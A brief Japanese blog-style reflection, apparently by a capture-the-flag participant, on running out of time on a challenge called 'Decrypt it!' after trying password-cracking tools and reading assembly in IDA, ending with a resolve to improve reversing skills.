他にもDecrypt it! にもちまちま取り組んでいたのだけど、何をまかり間違ったかpkcrack でなくてほかのツールでパスワード解析しながらIDAさんでアセンブラ読んでたら時間切れになってしまった。
せめてzip解凍ぐらいまではいきたかったな…

こういうのを解くための嗅覚とreverse力をもっと鍛えないと、と痛感した大会だった。